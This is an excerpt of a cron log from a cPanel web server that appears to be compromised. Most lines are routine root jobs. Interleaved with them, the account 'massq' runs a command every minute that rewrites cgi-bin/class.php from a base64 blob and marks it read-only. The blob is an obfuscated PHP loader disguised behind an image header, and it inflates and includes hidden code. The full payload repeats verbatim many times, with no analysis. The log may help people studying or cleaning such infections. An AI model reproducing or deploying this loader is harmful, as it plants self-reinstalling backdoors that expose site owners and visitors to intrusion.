Sep 12 22:54:01 server CROND[12206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:55:01 server CROND[12651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:55:01 server CROND[12653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:55:01 server CROND[12655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:55:01 server CROND[12656]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:55:01 server CROND[12654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:55:01 server CROND[12658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:55:01 server CROND[12657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:56:01 server CROND[13492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:56:01 server CROND[13491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:56:01 server CROND[13493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:57:02 server CROND[13983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:57:02 server CROND[13985]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 22:57:02 server CROND[13984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:57:02 server CROND[13986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:58:01 server CROND[14378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:58:01 server CROND[14379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:58:01 server CROND[14380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:59:01 server CROND[14756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:59:01 server CROND[14757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:59:01 server CROND[14758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:00:01 server CROND[15144]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:00:01 server CROND[15145]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:00:01 server CROND[15149]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:00:01 server CROND[15151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:00:01 server CROND[15150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:00:01 server CROND[15153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:00:01 server CROND[15152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:00:01 server CROND[15156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:00:01 server CROND[15158]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 23:01:01 server CROND[15977]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 23:01:01 server CROND[15980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:01:01 server CROND[15979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:01:01 server CROND[15978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:01:01 server run-parts(/etc/cron.hourly)[15977]: starting 0anacron
Sep 12 23:01:01 server run-parts(/etc/cron.hourly)[15999]: finished 0anacron
Sep 12 23:02:01 server CROND[16383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:02:01 server CROND[16384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:02:01 server CROND[16385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:03:01 server CROND[16853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:03:01 server CROND[16854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:03:01 server CROND[16855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:04:01 server CROND[17239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:04:01 server CROND[17240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:04:01 server CROND[17242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:05:01 server CROND[17646]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 23:05:01 server CROND[17648]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 23:05:01 server CROND[17649]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:05:01 server CROND[17651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:05:01 server CROND[17650]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:05:01 server CROND[17653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:05:01 server CROND[17652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 